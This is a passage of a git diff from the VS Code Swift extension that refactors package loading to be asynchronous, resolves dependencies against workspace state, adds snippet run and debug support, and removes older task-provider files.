string): string { + const file = path.basename(url, ".git"); + return file.toLowerCase(); } } @@ -117,9 +151,19 @@ export interface WorkspaceState { version: number; } +/** revision + (branch || version) + * ref: https://github.com/apple/swift-package-manager/blob/e25a590dc455baa430f2ec97eacc30257c172be2/Sources/Workspace/CheckoutState.swift#L19:L23 + */ +export interface CheckoutState { + revision: string; + branch: string | null; + version: string | null; +} + export interface WorkspaceStateDependency { packageRef: { identity: string; kind: string; location: string; name: string }; - state: { name: string; path?: string }; + state: { name: string; path?: string; checkoutState?: CheckoutState; version?: string }; + subpath: string; } export interface PackagePlugin { @@ -146,7 +190,10 @@ function isError(state: SwiftPackageState): state is Error { /** * Class holding Swift Package Manager Package */ -export class SwiftPackage implements PackageContents { +export class SwiftPackage { + public plugins: PackagePlugin[] = []; + private _contents: SwiftPackageState | undefined; + /** * SwiftPackage Constructor * @param folder folder package is in @@ -155,9 +202,10 @@ export class SwiftPackage implements PackageContents { */ private constructor( readonly folder: vscode.Uri, - private contents: SwiftPackageState, + private contentsPromise: Promise, public resolved: PackageResolved | undefined, - public plugins: PackagePlugin[] + // TODO: Make private again + public workspaceState: WorkspaceState | undefined ) {} /** @@ -165,11 +213,38 @@ export class SwiftPackage implements PackageContents { * @param folder folder package is in * @returns new SwiftPackage */ - static async create(folder: vscode.Uri): Promise { - const contents = await SwiftPackage.loadPackage(folder); - const resolved = await SwiftPackage.loadPackageResolved(folder); - const plugins = await SwiftPackage.loadPlugins(folder); - return new SwiftPackage(folder, contents, resolved, plugins); + public static async create( + folder: vscode.Uri, + toolchain: SwiftToolchain + ): Promise { + const [resolved, workspaceState] = await Promise.all([ + SwiftPackage.loadPackageResolved(folder), + SwiftPackage.loadWorkspaceState(folder), + ]); + return new SwiftPackage( + folder, + SwiftPackage.loadPackage(folder, toolchain), + resolved, + workspaceState + ); + } + + /** + * Returns the package state once it has loaded. + * A snapshot of the state is stored in `_contents` after initial resolution. + */ + private get contents(): Promise { + return this.contentsPromise.then(contents => { + // If `reload` is called immediately its possible for it to resolve + // before the initial contentsPromise resolution. In that case return + // the newer loaded `_contents`. + if (this._contents === undefined) { + this._contents = contents; + return contents; + } else { + return this._contents; + } + }); } /** @@ -177,17 +252,33 @@ export class SwiftPackage implements PackageContents { * @param folder folder package is in * @returns results of `swift package describe` */ - static async loadPackage(folder: vscode.Uri): Promise { + static async loadPackage( + folder: vscode.Uri, + toolchain: SwiftToolchain + ): Promise { try { - let { stdout } = await execSwift(["package", "describe", "--type", "json"], { + // Use swift package describe to describe the package targets, products, and platforms + const describe = await execSwift(["package", "describe", "--type", "json"], toolchain, { cwd: folder.fsPath, }); - // remove lines from `swift package describe` until we find a "{" - while (!stdout.startsWith("{")) { - const firstNewLine = stdout.indexOf("\n"); - stdout = stdout.slice(firstNewLine + 1); - } - return JSON.parse(stdout); + const packageState = JSON.parse( + SwiftPackage.trimStdout(describe.stdout) + ) as PackageContents; + + // Use swift package show-dependencies to get the dependencies in a tree format + const dependencies = await execSwift( + ["package", "show-dependencies", "--format", "json"], + toolchain, + { + cwd: folder.fsPath, + } + ); + + packageState.dependencies = JSON.parse( + SwiftPackage.trimStdout(dependencies.stdout) + ).dependencies; + + return packageState; } catch (error) { const execError = error as { stderr: string }; // if caught error and it begins with "error: root manifest" then there is no Package.swift @@ -205,32 +296,30 @@ export class SwiftPackage implements PackageContents { } } - static async loadPackageResolved(folder: vscode.Uri): Promise { + private static async loadPackageResolved( + folder: vscode.Uri + ): Promise { try { const uri = vscode.Uri.joinPath(folder, "Package.resolved"); const contents = await fs.readFile(uri.fsPath, "utf8"); - const json = JSON.parse(contents); - const version = <{ version: number }>json; - if (version.version === 1) { - return PackageResolved.fromV1JSON(json); - } else if (version.version === 2) { - return PackageResolved.fromV2JSON(json); - } else { - return undefined; - } + return new PackageResolved(contents); } catch { // failed to load resolved file return undefined return undefined; } } - static async loadPlugins(folder: vscode.Uri): Promise { + private static async loadPlugins( + folder: vscode.Uri, + toolchain: SwiftToolchain, + logger: SwiftLogger + ): Promise { try { - const { stdout } = await execSwift(["package", "plugin", "--list"], { + const { stdout } = await execSwift(["package", "plugin", "--list"], toolchain, { cwd: folder.fsPath, }); const plugins: PackagePlugin[] = []; - const lines = stdout.split("\n").map(item => item.trim()); + const lines = stdout.split(lineBreakRegex).map(item => item.trim()); for (const line of lines) { // ‘generate-documentation’ (plugin ‘Swift-DocC’ in package ‘SwiftDocCPlugin’) const pluginMatch = /^‘(.*)’ \(plugin ‘(.*)’ in package ‘(.*)’\)/.exec(line); @@ -243,7 +332,8 @@ export class SwiftPackage implements PackageContents { } } return plugins; - } catch { + } catch (error) { + logger.error(`Failed to load plugins: ${error}`); // failed to load resolved file return undefined return []; } @@ -253,10 +343,12 @@ export class SwiftPackage implements PackageContents { * Load workspace-state.json file for swift package * @returns Workspace state */ - public async loadWorkspaceState(): Promise { + private static async loadWorkspaceState( + folder: vscode.Uri + ): Promise { try { const uri = vscode.Uri.joinPath( - vscode.Uri.file(buildDirectoryFromWorkspacePath(this.folder.fsPath, true)), + vscode.Uri.file(BuildFlags.buildDirectoryFromWorkspacePath(folder.fsPath, true)), "workspace-state.json" ); const contents = await fs.readFile(uri.fsPath, "utf8"); @@ -268,8 +360,10 @@ export class SwiftPackage implements PackageContents { } /** Reload swift package */ - public async reload() { - this.contents = await SwiftPackage.loadPackage(this.folder); + public async reload(toolchain: SwiftToolchain) { + const loadedContents = await SwiftPackage.loadPackage(this.folder, toolchain); + this._contents = loadedContents; + this.contentsPromise = Promise.resolve(loadedContents); } /** Reload Package.resolved file */ @@ -277,53 +371,152 @@ export class SwiftPackage implements PackageContents { this.resolved = await SwiftPackage.loadPackageResolved(this.folder); } + public async reloadWorkspaceState() { + this.workspaceState = await SwiftPackage.loadWorkspaceState(this.folder); + } + + public async loadSwiftPlugins(toolchain: SwiftToolchain, logger: SwiftLogger) { + this.plugins = await SwiftPackage.loadPlugins(this.folder, toolchain, logger); + } + /** Return if has valid contents */ - public get isValid(): boolean { - return isPackage(this.contents); + public get isValid(): Promise { + return this.contents.then(contents => isPackage(contents)); } /** Load error */ - public get error(): Error | undefined { - if (isError(this.contents)) { - return this.contents; + public get error(): Promise { + return this.contents.then(contents => (isError(contents) ? contents : undefined)); + } + + /** Did we find a Package.swift */ + public get foundPackage(): Promise { + return this.contents.then(contents => contents !== undefined); + } + + public get rootDependencies(): Promise { + // Correlate the root dependencies found in the Package.swift with their + // checked out versions in the workspace-state.json. + return this.dependencies.then(dependencies => + dependencies.map(dependency => this.resolveDependencyAgainstWorkspaceState(dependency)) + ); + } + + private resolveDependencyAgainstWorkspaceState(dependency: Dependency): ResolvedDependency { + const workspaceStateDep = this.workspaceState?.object.dependencies.find( + dep => dep.packageRef.identity === dependency.identity + ); + return { + ...dependency, + version: workspaceStateDep?.state.checkoutState?.version ?? "", + path: workspaceStateDep + ? this.dependencyPackagePath(workspaceStateDep, this.folder.fsPath) + : "", + type: workspaceStateDep ? this.dependencyType(workspaceStateDep) : "", + location: workspaceStateDep ? workspaceStateDep.packageRef.location : "", + revision: workspaceStateDep?.state.checkoutState?.revision ?? "", + }; + } + + public childDependencies(dependency: Dependency): ResolvedDependency[] { + return dependency.dependencies.map(dep => this.resolveDependencyAgainstWorkspaceState(dep)); + } + + /** + * * Get package source path of dependency + * `editing`: dependency.state.path ?? workspacePath + Packages/ + dependency.subpath + * `local`: dependency.packageRef.location + * `remote`: buildDirectory + checkouts + dependency.packageRef.location + * @param dependency + * @param workspaceFolder + * @return the package path based on the type + */ + private dependencyPackagePath( + dependency: WorkspaceStateDependency, + workspaceFolder: string + ): string { + const type = this.dependencyType(dependency); + if (type === "editing") { + return ( + dependency.state.path ?? path.join(workspaceFolder, "Packages", dependency.subpath) + ); + } else if (type === "local") { + return dependency.state.path ?? dependency.packageRef.location; } else { - return undefined; + // remote + const buildDirectory = BuildFlags.buildDirectoryFromWorkspacePath( + workspaceFolder, + true + ); + if (dependency.packageRef.kind === "registry") { + return path.join(buildDirectory, "registry", "downloads", dependency.subpath); + } else { + return path.join(buildDirectory, "checkouts", dependency.subpath); + } } } - /** Did we find a Package.swift */ - public get foundPackage(): boolean { - return this.contents !== undefined; + /** + * Get type of WorkspaceStateDependency for displaying in the tree: real version | edited | local + * @param dependency + * @return "local" | "remote" | "editing" + */ + private dependencyType(dependency: WorkspaceStateDependency): "local" | "remote" | "editing" { + if (dependency.state.name === "edited") { + return "editing"; + } else if ( + dependency.packageRef.kind === "local" || + dependency.packageRef.kind === "fileSystem" + ) { + // need to check for both "local" and "fileSystem" as swift 5.5 and earlier + // use "local" while 5.6 and later use "fileSystem" + return "local"; + } else { + return "remote"; + } } - /** name of Swift Package */ - get name(): string { - return (this.contents as PackageContents)?.name ?? ""; + /** getName of Swift Package */ + get name(): Promise { + return this.contents.then(contents => (contents as PackageContents)?.name ?? ""); } /** array of products in Swift Package */ - get products(): Product[] { - return (this.contents as PackageContents)?.products ?? []; + private get products(): Promise { + return this.contents.then(contents => (contents as PackageContents)?.products ?? []); } /** array of dependencies in Swift Package */ - get dependencies(): Dependency[] { - return (this.contents as PackageContents)?.dependencies ?? []; + get dependencies(): Promise { + return this.contents.then(contents => (contents as PackageContents)?.dependencies ?? []); } /** array of targets in Swift Package */ - get targets(): Target[] { - return (this.contents as PackageContents)?.targets ?? []; + get targets(): Promise { + return this.contents.then(contents => (contents as PackageContents)?.targets ?? []); } /** array of executable products in Swift Package */ - get executableProducts(): Product[] { - return this.products.filter(product => product.type.executable !== undefined); + get executableProducts(): Promise { + return this.products.then(products => + products.filter(product => product.type.executable !== undefined) + ); } /** array of library products in Swift Package */ - get libraryProducts(): Product[] { - return this.products.filter(product => product.type.library !== undefined); + get libraryProducts(): Promise { + return this.products.then(products => + products.filter(product => product.type.library !== undefined) + ); + } + + /** + * Array of targets in Swift Package. The targets may not be loaded yet. + * It is preferable to use the `targets` property that returns a promise that + * returns the targets when they're guarenteed to be resolved. + **/ + get currentTargets(): Target[] { + return (this._contents as unknown as { targets: Target[] })?.targets ?? []; } /** @@ -331,7 +524,36 @@ export class SwiftPackage implements PackageContents { * @param type Type of target * @returns Array of targets */ - getTargets(type: "executable" | "library" | "test"): Target[] { - return this.targets.filter(target => target.type === type); + async getTargets(type?: TargetType): Promise { + if (type === undefined) { + return this.targets; + } else { + return this.targets.then(targets => targets.filter(target => target.type === type)); + } } + + /** + * Get target for file + */ + async getTarget(file: string): Promise { + const filePath = path.relative(this.folder.fsPath, file); + return this.targets.then(targets => + targets.find(target => isPathInsidePath(filePath, target.path)) + ); + } + + private static trimStdout(stdout: string): string { + // remove lines from `swift package describe` until we find a "{" + while (!stdout.startsWith("{")) { + const firstNewLine = stdout.indexOf("\n"); + stdout = stdout.slice(firstNewLine + 1); + } + return stdout; + } +} + +export enum TargetType { + executable = "executable", + library = "library", + test = "test", } diff --git a/src/SwiftPluginTaskProvider.ts b/src/SwiftPluginTaskProvider.ts deleted file mode 100644 index 37cd5b52a..000000000 --- a/src/SwiftPluginTaskProvider.ts +++ /dev/null @@ -1,143 +0,0 @@ -//===----------------------------------------------------------------------===// -// -// This source file is part of the VSCode Swift open source project -// -// Copyright (c) 2021-2022 the VSCode Swift project authors -// Licensed under Apache License v2.0 -// -// See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors -// -// SPDX-License-Identifier: Apache-2.0 -// -//===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; -import * as path from "path"; -import { WorkspaceContext } from "./WorkspaceContext"; -import { PackagePlugin } from "./SwiftPackage"; -import configuration from "./configuration"; -import { getSwiftExecutable, swiftRuntimeEnv, withSwiftSDKFlags } from "./utilities/utilities"; - -// Interface class for defining task configuration -interface TaskConfig { - cwd: vscode.Uri; - scope: vscode.WorkspaceFolder; - presentationOptions?: vscode.TaskPresentationOptions; - prefix?: string; -} - -/** - * A {@link vscode.TaskProvider TaskProvider} for tasks that match the definition - * in **package.json**: `{ type: 'swift'; command: string; args: string[] }`. - * - * See {@link SwiftTaskProvider.provideTasks provideTasks} for a list of provided tasks. - */ -export class SwiftPluginTaskProvider implements vscode.TaskProvider { - constructor(private workspaceContext: WorkspaceContext) {} - - /** - * Provides tasks to run swift plugins: - */ - // eslint-disable-next-line @typescript-eslint/no-unused-vars - async provideTasks(token: vscode.CancellationToken): Promise { - if (this.workspaceContext.folders.length === 0) { - return []; - } - const tasks = []; - - for (const folderContext of this.workspaceContext.folders) { - for (const plugin of folderContext.swiftPackage.plugins) { - tasks.push( - this.createSwiftPluginTask(plugin, [], { - cwd: folderContext.folder, - scope: folderContext.workspaceFolder, - presentationOptions: { - reveal: vscode.TaskRevealKind.Always, - }, - }) - ); - } - } - return tasks; - } - - /** - * Resolves a {@link vscode.Task Task} specified in **tasks.json**. - * - * Other than its definition, this `Task` may be incomplete, - * so this method should fill in the blanks. - */ - // eslint-disable-next-line @typescript-eslint/no-unused-vars - resolveTask(task: vscode.Task, token: vscode.CancellationToken): vscode.Task { - // We need to create a new Task object here. - // Reusing the task parameter doesn't seem to work. - const swift = getSwiftExecutable(); - const sandboxArg = task.definition.disableSandbox ? ["--disable-sandbox"] : []; - let swiftArgs = [ - "package", - ...sandboxArg, - task.definition.command, - ...task.definition.args, - ]; - swiftArgs = withSwiftSDKFlags(swiftArgs); - - const newTask = new vscode.Task( - task.definition, - task.scope ?? vscode.TaskScope.Workspace, - task.definition.command, - "swift", - new vscode.ShellExecution(swift, swiftArgs, { - cwd: task.definition.cwd, - }), - task.problemMatchers - ); - newTask.detail = task.detail ?? `swift ${swiftArgs.join(" ")}`; - newTask.presentationOptions = task.presentationOptions; - - return newTask; - } - - /** - * - * @param plugin Helper function to create a swift plugin task - * @param args arguments sent to plugin - * @param config - * @returns - */ - createSwiftPluginTask(plugin: PackagePlugin, args: string[], config: TaskConfig): vscode.Task { - const swift = getSwiftExecutable(); - let swiftArgs = ["package", plugin.command, ...args]; - swiftArgs = withSwiftSDKFlags(swiftArgs); - - // Add relative path current working directory - const relativeCwd = path.relative(config.scope.uri.fsPath, config.cwd?.fsPath); - const cwd = relativeCwd !== "" ? relativeCwd : undefined; - - const task = new vscode.Task( - { - type: "swift-plugin", - command: plugin.command, - args: args, - disableSandbox: false, - cwd: cwd, - }, - config.scope ?? vscode.TaskScope.Workspace, - plugin.name, - "swift", - new vscode.ShellExecution(swift, swiftArgs, { - cwd: cwd, - env: { ...configuration.swiftEnvironmentVariables, ...swiftRuntimeEnv() }, - }) - ); - let prefix: string; - if (config.prefix) { - prefix = `(${config.prefix}) `; - } else { - prefix = ""; - } - task.detail = `${prefix}swift ${swiftArgs.join(" ")}`; - task.presentationOptions = config?.presentationOptions ?? {}; - return task; - } -} diff --git a/src/SwiftSnippets.ts b/src/SwiftSnippets.ts new file mode 100644 index 000000000..a70281935 --- /dev/null +++ b/src/SwiftSnippets.ts @@ -0,0 +1,126 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2022-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as path from "path"; +import * as vscode from "vscode"; + +import { WorkspaceContext } from "./WorkspaceContext"; +import { createSnippetConfiguration, debugLaunchConfig } from "./debugger/launch"; +import { createSwiftTask } from "./tasks/SwiftTaskProvider"; +import { TaskOperation } from "./tasks/TaskQueue"; + +/** + * Set context key indicating whether current file is a Swift Snippet + * @param ctx Workspace context + */ +export function setSnippetContextKey(ctx: WorkspaceContext) { + if ( + !ctx.currentFolder || + !ctx.currentDocument || + ctx.currentFolder.swiftVersion.isLessThan({ major: 5, minor: 7, patch: 0 }) + ) { + ctx.contextKeys.fileIsSnippet = false; + return; + } + + const filename = ctx.currentDocument.fsPath; + const snippetsFolder = path.join(ctx.currentFolder.folder.fsPath, "Snippets"); + if (filename.startsWith(snippetsFolder)) { + ctx.contextKeys.fileIsSnippet = true; + } else { + ctx.contextKeys.fileIsSnippet = false; + } + return; +} + +/** + * If current file is a Swift Snippet run it + * @param ctx Workspace Context + */ +export async function runSnippet( + ctx: WorkspaceContext, + snippet?: string +): Promise { + return await debugSnippetWithOptions(ctx, { noDebug: true }, snippet); +} + +/** + * If current file is a Swift Snippet run it in the debugger + * @param ctx Workspace Context + */ +export async function debugSnippet( + ctx: WorkspaceContext, + snippet?: string +): Promise { + return await debugSnippetWithOptions(ctx, {}, snippet); +} + +export async function debugSnippetWithOptions( + ctx: WorkspaceContext, + options: vscode.DebugSessionOptions, + snippet?: string +): Promise { + // create build task + let snippetName: string; + if (snippet) { + snippetName = snippet; + } else if (ctx.currentDocument) { + snippetName = path.basename(ctx.currentDocument.fsPath, ".swift"); + } else { + return false; + } + + const folderContext = ctx.currentFolder; + if (!folderContext) { + return false; + } + + const snippetBuildTask = createSwiftTask( + ["build", "--product", snippetName], + `Build ${snippetName}`, + { + group: vscode.TaskGroup.Build, + cwd: folderContext.folder, + scope: folderContext.workspaceFolder, + presentationOptions: { + reveal: vscode.TaskRevealKind.Always, + }, + }, + folderContext.toolchain + ); + const snippetDebugConfig = await createSnippetConfiguration(snippetName, folderContext); + try { + ctx.buildStarted(snippetName, snippetDebugConfig, options); + + // queue build task and when it is complete run executable in the debugger + return await folderContext.taskQueue + .queueOperation(new TaskOperation(snippetBuildTask)) + .then(result => { + if (result === 0) { + return debugLaunchConfig( + folderContext.workspaceFolder, + snippetDebugConfig, + options + ); + } + }) + .then(result => { + ctx.buildFinished(snippetName, snippetDebugConfig, options); + return result; + }); + } catch (error) { + ctx.logger.error(`Failed to debug snippet: ${error}`); + // ignore error if task failed to run + return false; + } +} diff --git a/src/SwiftTaskProvider.ts b/src/SwiftTaskProvider.ts deleted file mode 100644 index 4f90d35c2..000000000 --- a/src/SwiftTaskProvider.ts +++ /dev/null @@ -1,306 +0,0 @@ -//===----------------------------------------------------------------------===// -// -// This source file is part of the VSCode Swift open source project -// -// Copyright (c) 2021-2022 the VSCode Swift project authors -// Licensed under Apache License v2.0 -// -// See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors -// -// SPDX-License-Identifier: Apache-2.0 -// -//===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; -import * as path from "path"; -import { WorkspaceContext } from "./WorkspaceContext"; -import { FolderContext } from "./FolderContext"; -import { Product } from "./SwiftPackage"; -import configuration from "./configuration"; -import { getSwiftExecutable, swiftRuntimeEnv, withSwiftSDKFlags } from "./utilities/utilities"; -import { Version } from "./utilities/version"; - -/** - * References: - * - * - General information on tasks: - * https://code.visualstudio.com/docs/editor/tasks - * - Contributing task definitions: - * https://code.visualstudio.com/api/references/contribution-points#contributes.taskDefinitions - * - Implementing task providers: - * https://code.visualstudio.com/api/extension-guides/task-provider - */ - -// Interface class for defining task configuration -interface TaskConfig { - cwd: vscode.Uri; - scope: vscode.TaskScope | vscode.WorkspaceFolder; - group?: vscode.TaskGroup; - problemMatcher?: string | string[]; - presentationOptions?: vscode.TaskPresentationOptions; - prefix?: string; -} - -/** flag for enabling test discovery */ -function testDiscoveryFlag(ctx: FolderContext): string[] { - // Test discovery is only available in SwiftPM 5.1 and later. - if (ctx.workspaceContext.swiftVersion.isLessThan(new Version(5, 1, 0))) { - return []; - } - // Test discovery is always enabled on Darwin. - if (process.platform !== "darwin") { - const hasLinuxMain = ctx.linuxMain.exists; - const testDiscoveryByDefault = ctx.workspaceContext.swiftVersion.isGreaterThanOrEqual( - new Version(5, 4, 0) - ); - if (hasLinuxMain || !testDiscoveryByDefault) { - return ["--enable-test-discovery"]; - } - } - return []; -} - -/** arguments for generating debug builds */ -export function platformDebugBuildOptions(): string[] { - if (process.platform === "win32") { - return ["-Xswiftc", "-g", "-Xswiftc", "-use-ld=lld", "-Xlinker", "-debug:dwarf"]; - } - return []; -} - -/** - * Creates a {@link vscode.Task Task} to build all targets in this package. - */ -export function createBuildAllTask(folderContext: FolderContext): vscode.Task { - const additionalArgs = [...platformDebugBuildOptions()]; - if (folderContext.swiftPackage.getTargets("test").length > 0) { - additionalArgs.push(...testDiscoveryFlag(folderContext)); - } - let buildTaskName = SwiftTaskProvider.buildAllName; - if (folderContext.relativePath.length > 0) { - buildTaskName += ` (${folderContext.relativePath})`; - } - return createSwiftTask( - ["build", "--build-tests", ...additionalArgs, ...configuration.buildArguments], - buildTaskName, - { - group: vscode.TaskGroup.Build, - cwd: folderContext.folder, - scope: folderContext.workspaceFolder, - presentationOptions: { - reveal: vscode.TaskRevealKind.Silent, - }, - problemMatcher: configuration.problemMatchCompileErrors ? "$swiftc" : undefined, - } - ); -} - -/** - * Return build all task for a folder - * @param folderContext Folder to get Build All Task for - * @returns Build All Task - */ -export async function getBuildAllTask(folderContext: FolderContext): Promise { - const tasks = await vscode.tasks.fetchTasks({ type: "swift" }); - - let buildTaskName = SwiftTaskProvider.buildAllName; - if (folderContext.relativePath.length > 0) { - buildTaskName += ` (${folderContext.relativePath})`; - } - - // search for build all task in task.json first - let task = tasks.find( - task => - task.name === `swift: ${buildTaskName}` && - (task.execution as vscode.ShellExecution).options?.cwd === - folderContext.folder.fsPath && - task.source === "Workspace" - ); - if (task) { - return task; - } - // search for generated tasks - task = tasks.find( - task => - task.name === buildTaskName && - (task.execution as vscode.ShellExecution).options?.cwd === - folderContext.folder.fsPath && - task.source === "swift" - ); - if (!task) { - throw Error("Build All Task does not exist"); - } - return task; -} - -/** - * Creates a {@link vscode.Task Task} to run an executable target. - */ -function createBuildTasks(product: Product, folderContext: FolderContext): vscode.Task[] { - let buildTaskNameSuffix = ""; - if (folderContext.relativePath.length > 0) { - buildTaskNameSuffix = ` (${folderContext.relativePath})`; - } - return [ - createSwiftTask( - [ - "build", - "--product", - product.name, - ...platformDebugBuildOptions(), - ...configuration.buildArguments, - ], - `Build Debug ${product.name}${buildTaskNameSuffix}`, - { - group: vscode.TaskGroup.Build, - cwd: folderContext.folder, - scope: folderContext.workspaceFolder, - presentationOptions: { - reveal: vscode.TaskRevealKind.Silent, - }, - problemMatcher: configuration.problemMatchCompileErrors ? "$swiftc" : undefined, - } - ), - createSwiftTask( - ["build", "-c", "release", "--product", product.name, ...configuration.buildArguments], - `Build Release ${product.name}${buildTaskNameSuffix}`, - { - group: vscode.TaskGroup.Build, - cwd: folderContext.folder, - scope: folderContext.workspaceFolder, - presentationOptions: { - reveal: vscode.TaskRevealKind.Silent, - }, - problemMatcher: configuration.problemMatchCompileErrors ? "$swiftc" : undefined, - } - ), - ]; -} - -/** - * Helper function to create a {@link vscode.Task Task} with the given parameters. - */ -export function createSwiftTask(args: string[], name: string, config: TaskConfig): vscode.Task { - const swift = getSwiftExecutable(); - args = withSwiftSDKFlags(args); - - // Add relative path current working directory - const cwd = config.cwd.fsPath; - const fullCwd = config.cwd.fsPath; - - /* Currently there seems to be a bug in vscode where kicking off two tasks - with the same definition but different scopes messes with the task - completion code. When that is resolved we will go back to the code below - where we only store the relative cwd instead of the full cwd - - const scopeWorkspaceFolder = config.scope as vscode.WorkspaceFolder; - if (scopeWorkspaceFolder.uri.fsPath) { - cwd = path.relative(scopeWorkspaceFolder.uri.fsPath, config.cwd.fsPath); - } else { - cwd = config.cwd.fsPath; - }*/ - - const task = new vscode.Task( - { type: "swift", args: args, cwd: cwd }, - config?.scope ?? vscode.TaskScope.Workspace, - name, - "swift", - new vscode.ShellExecution(swift, args, { - cwd: fullCwd, - env: { ...configuration.swiftEnvironmentVariables, ...swiftRuntimeEnv() }, - }), - config?.problemMatcher - ); - // This doesn't include any quotes added by VS Code. - // See also: https://github.com/microsoft/vscode/issues/137895 - - let prefix: string; - if (config?.prefix) { - prefix = `(${config.prefix}) `; - } else { - prefix = ""; - } - task.detail = `${prefix}swift ${args.join(" ")}`; - task.group = config?.group; - task.presentationOptions = config?.presentationOptions ?? {}; - return task; -} - -/** - * A {@link vscode.TaskProvider TaskProvider} for tasks that match the definition - * in **package.json**: `{ type: 'swift'; args: string[], cwd: string? }`. - * - * See {@link SwiftTaskProvider.provideTasks provideTasks} for a list of provided tasks. - */ -export class SwiftTaskProvider implements vscode.TaskProvider { - static buildAllName = "Build All"; - static cleanBuildName = "Clean Build"; - static resolvePackageName = "Resolve Package Dependencies"; - static updatePackageName = "Update Package Dependencies"; - - constructor(private workspaceContext: WorkspaceContext) {} - - /** - * Provides tasks to run the following commands: - * - * - `swift build` - * - `swift package clean` - * - `swift package resolve` - * - `swift package update` - */ - // eslint-disable-next-line @typescript-eslint/no-unused-vars - async provideTasks(token: vscode.CancellationToken): Promise { - if (this.workspaceContext.folders.length === 0) { - return []; - } - const tasks = []; - - for (const folderContext of this.workspaceContext.folders) { - if (!folderContext.swiftPackage.foundPackage) { - continue; - } - tasks.push(createBuildAllTask(folderContext)); - const executables = folderContext.swiftPackage.executableProducts; - for (const executable of executables) { - tasks.push(...createBuildTasks(executable, folderContext)); - } - } - return tasks; - } - - /** - * Resolves a {@link vscode.Task Task} specified in **tasks.json**. - * - * Other than its definition, this `Task` may be incomplete, - * so this method should fill in the blanks. - */ - // eslint-disable-next-line @typescript-eslint/no-unused-vars - resolveTask(task: vscode.Task, token: vscode.CancellationToken): vscode.Task { - // We need to create a new Task object here. - // Reusing the task parameter doesn't seem to work. - const swift = getSwiftExecutable(); - - const scopeWorkspaceFolder = task.scope as vscode.WorkspaceFolder; - let fullCwd = task.definition.cwd; - if (!path.isAbsolute(fullCwd) && scopeWorkspaceFolder.uri.fsPath) { - fullCwd = path.join(scopeWorkspaceFolder.uri.fsPath, fullCwd); - } - - const newTask = new vscode.Task( - task.definition, - task.scope ?? vscode.TaskScope.Workspace, - task.name ?? "Swift Custom Task", - "swift", - new vscode.ShellExecution(swift, task.definition.args, { - cwd: fullCwd, - }), - task.problemMatchers - ); - newTask.detail = task.detail ?? `swift ${task.definition.args.join(" ")}`; - newTask.group = task.group; - newTask.presentationOptions = task.presentationOptions; - - return newTask; - } -} diff --git a/src/TaskManager.ts b/src/TaskManager.ts deleted file mode 100644 index 6cd613d47..000000000 --- a/src/TaskManager.ts +++ /dev/null @@ -1,96 +0,0 @@ -//===----------------------------------------------------------------------===// -// -// This source file is part of the VSCode Swift open source project -// -// Copyright (c) 2022 the VSCode Swift project authors -// Licensed under Apache License v2.0 -// -// See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors -// -// SPDX-License-Identifier: Apache-2.0 -// -//===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; - -/** Manage task execution and completion handlers */ -export class TaskManager implements vscode.Disposable { - constructor() { - this.onDidEndTaskProcessDisposible = vscode.tasks.onDidEndTaskProcess(event => { - this.observers.forEach(observer => observer(event)); - }); - this.onDidEndTaskDisposible = vscode.tasks.onDidEndTaskProcess(event => { - this.observers.forEach(observer => - observer({ execution: event.execution, exitCode: undefined }) - ); - }); - } - - /** - * Add handler to be called when either a task process completes or when the task - * completes without the process finishing. - * - * If the task process completes then it provides the return code from the process - * But if the process doesn't complete the return code is undefined - * - * @param observer function called when task completes - * @returns disposable handle. Once you have finished with the observer call dispose on this - */ - onDidEndTaskProcess(observer: TaskObserver): vscode.Disposable { - this.observers.add(observer); - return { - dispose: () => { - this.removeObserver(observer); - }, - }; - } - - /** - * Execute task and wait until it is finished. This function assumes that no - * other tasks with the same name will be run at the same time - * - * @param task task to execute - * @returns exit code from executable - */ - async executeTaskAndWait( - task: vscode.Task, - token?: vscode.CancellationToken - ): Promise { - // set id on definition to catch this task when completing - task.definition.id = this.taskId; - this.taskId += 1; - return new Promise(resolve => { - const disposable = this.onDidEndTaskProcess(event => { - if (event.execution.task.definition.id === task.definition.id) { - disposable.dispose(); - resolve(event.exitCode); - } - }); - vscode.tasks.executeTask(task).then(execution => { - token?.onCancellationRequested(() => { - execution.terminate(); - disposable.dispose(); - resolve(undefined); - }); - }); - }); - } - - private removeObserver(observer: TaskObserver) { - this.observers.delete(observer); - } - - dispose() { - this.onDidEndTaskDisposible.dispose(); - this.onDidEndTaskProcessDisposible.dispose(); - } - - private observers: Set = new Set(); - private onDidEndTaskProcessDisposible: vscode.Disposable; - private onDidEndTaskDisposible: vscode.Disposable; - private taskId = 0; -} - -/** Workspace Folder observer function */ -export type TaskObserver = (execution: vscode.TaskProcessEndEvent) => unknown; diff --git a/src/TaskQueue.ts b/src/TaskQueue.ts deleted file mode 100644 index de5687fae..000000000 --- a/src/TaskQueue.ts +++ /dev/null @@ -1,172 +0,0 @@ -import * as vscode from "vscode"; -import { FolderContext } from "./FolderContext"; -import { WorkspaceContext } from "./WorkspaceContext"; - -/** Swift operation to add to TaskQueue */ -export interface SwiftOperation { - task: vscode.Task; - showStatusItem?: boolean; - log?: string; - checkAlreadyRunning?: boolean; -} - -/** - * Operation added to queue. - */ -class QueuedOperation implements SwiftOperation { - task: vscode.Task; - showStatusItem?: boolean; - log?: string; - - public promise?: Promise = undefined; - constructor( - operation: SwiftOperation, - public cb: (result: number | undefined) => void, - public token?: vscode.CancellationToken - ) { - this.task = operation.task; - this.showStatusItem = operation.showStatusItem; - this.log = operation.log; - } - - /** Compare queued operation to operation */ - isEqual(operation: SwiftOperation): boolean { - const args1: string[] = operation.task.definition.args; - const args2: string[] = this.task.definition.args; - if (args1.length !== args2.length) { - return false; - } - return ( - args1.every((value, index) => value === args2[index]) && - operation.task.scope === this.task.scope - ); - } -} - -/** - * Task queue - * - * Queue swift task operations to be executed serially - */ -export class TaskQueue { - queue: QueuedOperation[]; - activeOperation?: QueuedOperation; - workspaceContext: WorkspaceContext; - - constructor(private folderContext: FolderContext) { - this.queue = []; - this.workspaceContext = 